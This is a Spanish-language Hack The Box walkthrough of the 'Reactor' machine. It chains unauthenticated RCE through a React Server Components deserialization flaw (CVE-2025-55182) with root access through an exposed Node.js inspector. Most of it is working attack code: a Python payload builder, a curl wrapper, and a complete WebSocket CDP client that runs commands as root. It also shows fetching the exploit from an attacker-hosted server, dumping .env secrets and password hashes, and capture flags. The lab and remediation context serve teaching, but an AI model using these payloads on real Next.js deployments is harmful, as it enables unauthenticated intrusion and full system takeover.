
Walkthrough completo de la máquina Reactor de HTB — explota la CVE-2025-55182 para obtener una shell y luego consigue root a través de un depurador de Node.js expuesto. Paso a paso con capturas de pantalla.
[!CAUTION] Advertencia de spoiler. Esta es una guía completa que incluye las flags. Si quieres resolver la máquina por tu cuenta, cierra esto ahora y vuelve cuando estés atascado.
| Campo | Detalles |
|---|---|
| Nombre | Reactor |
| SO | Ubuntu 24.04 LTS (Noble) |
| Dificultad | Media |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| Puertos | 22 (SSH), 3000 (Next.js) |
| Autor | sonnycroco |
Reactor está tematizado en torno a un panel de monitoreo de plantas nucleares llamado ReactorWatch. La máquina trata por completo de dos vulnerabilidades encadenadas: sin adivinanzas, sin callejones sin salida, sin fuerza bruta.
El camino: una compilación de prelanzamiento de React 19 expone una falla crítica de deserialización que te da ejecución remota de código no autenticada con una sola solicitud HTTP. Desde ahí, un puerto de depuración de Node.js que se ejecuta como root te brinda acceso completo al sistema mediante un mensaje WebSocket.
Cadena de ataque:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
Lo primero que hay que hacer en cualquier máquina nueva es averiguar qué está escuchando. Un escaneo de puertos completo con detección de servicios para no dejarse nada.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

Solo dos puertos. SSH es un callejón sin salida en esta etapa porque todavía no tenemos credenciales. El puerto 3000 es el objetivo. Nmap ya nos dice que es Next.js 15.0.3, lo cual es una buena pista.
Antes de lanzar exploits a lo loco, quiero saber la versión exacta de todo lo que se está ejecutando. Las cabeceras HTTP ya revelaron Next.js, pero la versión de React es el detalle crítico. React 19 estuvo en prelanzamiento durante mucho tiempo y tuvo algunos problemas serios antes de la versión estable.
Descargo uno de los chunks de JavaScript del lado del cliente para comprobarlo:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
Ese rc en la cadena de versión es la prueba irrefutable. Se trata de una compilación candidata a versión final (release candidate) de React 19, no de la versión estable. Las bases de datos de CVE lo confirman: CVE-2025-55182 afecta exactamente a esta compilación. CVSS 10.0.
Ya que estoy aquí, reviso las cabeceras en busca de pistas sobre middleware:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
No hay ninguna cabecera x-middleware-rewrite por ningún lado, lo que significa que no hay middleware de Next.js instalado. Esto descarta CVE-2025-29927 (la bypass de middleware), algo que vale la pena señalar para que no pierdas tiempo con ella.
Lo que sabemos:
experimental.serverActions habilitado19.0.0-rc, vulnerable a CVE-2025-55182
Los Server Components de React 19 introdujeron las Server Actions, que son funciones del lado del servidor invocables por el cliente mediante HTTP POST con una cabecera Next-Action. El analizador de cuerpos multipart que maneja estas solicitudes tiene una falla crítica: deserializa de forma insegura un tipo de referencia llamado $1:__proto__:then.
Al crear un cuerpo multipart que establece _response._prefix con JavaScript arbitrario, un atacante consigue que ese código se evalúe en el servidor. Luego, la salida se extrae mediante una excepción que Next.js usa internamente para las redirecciones (NEXT_REDIRECT) y termina codificada en URL dentro de la cabecera de respuesta x-action-redirect.
Cualquier POST a cualquier página con la cabecera Next-Action lo dispara. Sin comprobación de autenticación, sin endpoint especial. Solo envía el payload a / y ya estás dentro.
Un pequeño script auxiliar en Python que recibe un comando de shell como entrada, construye el payload multipart y lo escribe en disco para que curl lo envíe:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
Envolviéndolo todo en una función de shell para una experiencia de pseudo-shell:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
El intercambio HTTP en bruto. La salida del comando está justo ahí, en la cabecera de redirección:
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)
Hemos entrado como la cuenta de servicio node. Sin autenticación, sin fuerza bruta, sin ingeniería social. Solo un HTTP POST. Así se ve un CVSS 10.0 en la práctica.

[!WARNING] Dos cosas que debes saber antes de continuar:
execSynces síncrono y bloquea el hilo de respuesta. No intentes lanzar una reverse shell con él; usa la función asíncronaexec()o el servidor se colgará.- La plantilla literal
NEXT_REDIRECTse rompe con saltos de línea. Siempre canaliza la salida multilínea porpaste -sd,para aplanarla antes de que entre en la URL.
nodeCon la ejecución de código confirmada, el siguiente objetivo es entender el entorno: qué hay en esta máquina, qué credenciales andan por ahí y si existe un camino obvio hacia un usuario con más privilegios.
rce "cat /opt/reactor-app/.env | paste -sd,"
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production
Hay una base de datos SQLite en disco. Veamos qué contiene:
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]
Una cuenta de administrador con un hash MD5. Pasarla por John con rockyou no la descifra. No pasa nada; al final, el crackeo de hashes resulta innecesario cuando encontremos el verdadero camino de escalada de privilegios. Dejo esto a un lado y sigo.
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
Hay un usuario llamado engineer. La flag de usuario está en su directorio personal.
[!NOTE] En algunas instancias de esta máquina,
/home/engineer/tiene permisos700, por lo que la cuenta de servicionodeno puede leerlo directamente. Si ese es tu caso, no entres en pánico. El camino de escalada a root que se cubre en el Paso 6 te permite leer ambas flags como root.
rce "cat /home/engineer/user.txt"
f7b714f9fdf5c08a5f240668792aa13f
Si /home/engineer/ está restringido en tu instancia, salta al Paso 6 y consigue ambas flags como root.
Con un punto de apoyo establecido, reviso qué procesos se están ejecutando en la máquina. El ps aux completo es largo, así que filtro por cualquier cosa relacionada con Node.js:
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
node 1415 next-server (v15.0.3)
root 1417 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
Ahí está. Un segundo proceso de Node.js ejecutándose como root, lanzado con la flag --inspect enlazada a 127.0.0.1:9229. Es un script de monitoreo de uptime que alguien arrancó con el depurador de Node.js habilitado y dejó corriendo.
La flag --inspect abre el Protocolo Chrome DevTools (CDP), el mismo protocolo que usan las herramientas de desarrollo de tu navegador. Cuando te conectas, puedes indicarle al proceso que evalúe JavaScript arbitrario en su propio contexto V8. Dado que este proceso se ejecuta como root, cualquier cosa que evalúes también se ejecuta como root.
La única barrera es que el depurador está enlazado a localhost, pero ya tenemos ejecución de código en la máquina como node, así que podemos alcanzarlo sin problemas.
Confirmo que el depurador está activo y obtengo la URL WebSocket:
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
[{
"description": "node.js instance",
"id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]
[!IMPORTANT] El UUID en la URL WebSocket (
1d85ee80-...) es único por instancia de proceso. El tuyo será diferente. Cópialo de tu salida JSON y actualízalo en el script de explotación antes de ejecutarlo.

Para enviar un comando Runtime.evaluate al inspector, necesitamos un cliente WebSocket. El paquete npm ws no está en el objetivo, así que escribo uno mínimo desde cero usando solo los módulos integrados de Node.js: net para la conexión TCP y crypto para el enmascarado de tramas WebSocket.
const net = require('net');
const crypto = require('crypto');
// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';
function encodeFrame(data) {
const payload = Buffer.from(data, 'utf8');
const mask = crypto.randomBytes(4);
let headerLen = (payload.length < 126) ? 6 : 8;
const header = Buffer.alloc(headerLen);
header[0] = 0x81;
if (payload.length < 126) {
header[1] = 0x80 | payload.length;
mask.copy(header, 2);
} else {
header[1] = 0xfe;
header.writeUInt16BE(payload.length, 2);
mask.copy(header, 4);
}
const masked = Buffer.alloc(payload.length);
const maskStart = headerLen - 4;
for (let i = 0; i < payload.length; i++) {
masked[i] = payload[i] ^ header[maskStart + (i % 4)];
}
return Buffer.concat([header, masked]);
}
const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);
sock.on('connect', () => {
sock.write(
`GET /${WS_ID} HTTP/1.1\r\n` +
`Host: 127.0.0.1:9229\r\n` +
`Upgrade: websocket\r\n` +
`Connection: Upgrade\r\n` +
`Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
`Sec-WebSocket-Version: 13\r\n\r\n`
);
});
sock.on('data', (data) => {
chunks = Buffer.concat([chunks, data]);
if (!upgraded) {
const str = chunks.toString('utf8');
const sep = str.indexOf('\r\n\r\n');
if (sep === -1) return;
upgraded = true;
chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
const msg = JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: { expression: CMD, returnByValue: true }
});
sock.write(encodeFrame(msg));
return;
}
while (chunks.length > 2) {
const b1 = chunks[1] & 0x7f;
let payloadStart, payloadLen;
if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
if (chunks.length < payloadStart + payloadLen) return;
process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
sock.destroy();
process.exit(0);
}
});
sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);
[!WARNING] Dentro de una llamada CDP
Runtime.evaluate, la funciónrequire()simple no está en el ámbito global, aunqueworker.jsen sí sea un módulo CommonJS. Debes usarprocess.mainModule.require(...). Usarrequire()a secas lanzará un ReferenceError y no producirá salida.
Sirviendo el script desde la máquina de ataque:
python3 -m http.server 8080 --directory /tmp/www &
Descargándolo y ejecutándolo en el objetivo mediante la cadena de RCE:
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"
Respuesta:
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}
Estamos evaluando JavaScript arbitrario dentro de un proceso que se ejecuta como uid=0.

Mismo exploit, comando diferente en CMD:
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root.txt: 5c091a1960eb124c53910c1a1f456334

Tiempo total desde la primera solicitud hasta root: menos de 10 minutos una vez que entiendes el CVE. Sin fuerza bruta, sin crackeo de contraseñas, sin callejones sin salida.
CVE-2025-29927 (bypass de middleware) estaba de moda al mismo tiempo que CVE-2025-55182. Verifica siempre si el middleware está realmente presente antes de probar su bypass. La presencia o ausencia de la cabecera de respuesta x-middleware-rewrite te lo dice de inmediato. Perseguir el CVE equivocado es una pérdida de tiempo fácil.
execSync romperá las reverse shellsBloquea todo el hilo de respuesta del servidor hasta que el subproceso termina. Lanzar bash -i o una shell de netcat a través de él colgará ambos lados. Usa mejor la función asíncrona exec() de child_process si necesitas una shell interactiva a partir de este exploit.
La salida del comando se incrusta dentro de una plantilla literal de JavaScript: NEXT_REDIRECT;push;/login?a=${res};307;. Cualquier salto de línea literal en res rompe la plantilla y no devuelve nada. Canaliza todo por paste -sd, para unir las líneas antes de la exfiltración.
require no es global en el contexto CDPCuando envías Runtime.evaluate a un inspector de Node.js, ejecutas dentro de un aislado V8 que no expone la función require de CommonJS de forma global, incluso cuando el proceso objetivo es en sí mismo un módulo CommonJS. Usa siempre process.mainModule.require("module") dentro de las expresiones CDP.
En algunas instancias de esta máquina, la cuenta de servicio node puede leer /home/engineer/user.txt directamente. En otras, los permisos 700 del directorio personal lo bloquean. El camino de escalada a root siempre funciona y te da ambas flags en cualquier caso.
| Vulnerabilidad | Solución |
|---|
| CVE-2025-55182 | Actualiza React de 19.0.0-rc a la versión estable de React 19. Actualiza Next.js a la versión 15.2.3 o superior. |
--inspect de Node.js como root | Elimina --inspect de todos los procesos de producción por completo. Nunca enlaces el inspector a ninguna dirección, ni siquiera a 127.0.0.1, en sistemas compartidos. Usa un entorno aislado dedicado para depurar. |
| Base de datos SQLite en el directorio de la aplicación | Mueve la base de datos fuera de la raíz web. Restringe los permisos del sistema de archivos para que el proceso web solo acceda a lo que necesita estrictamente. |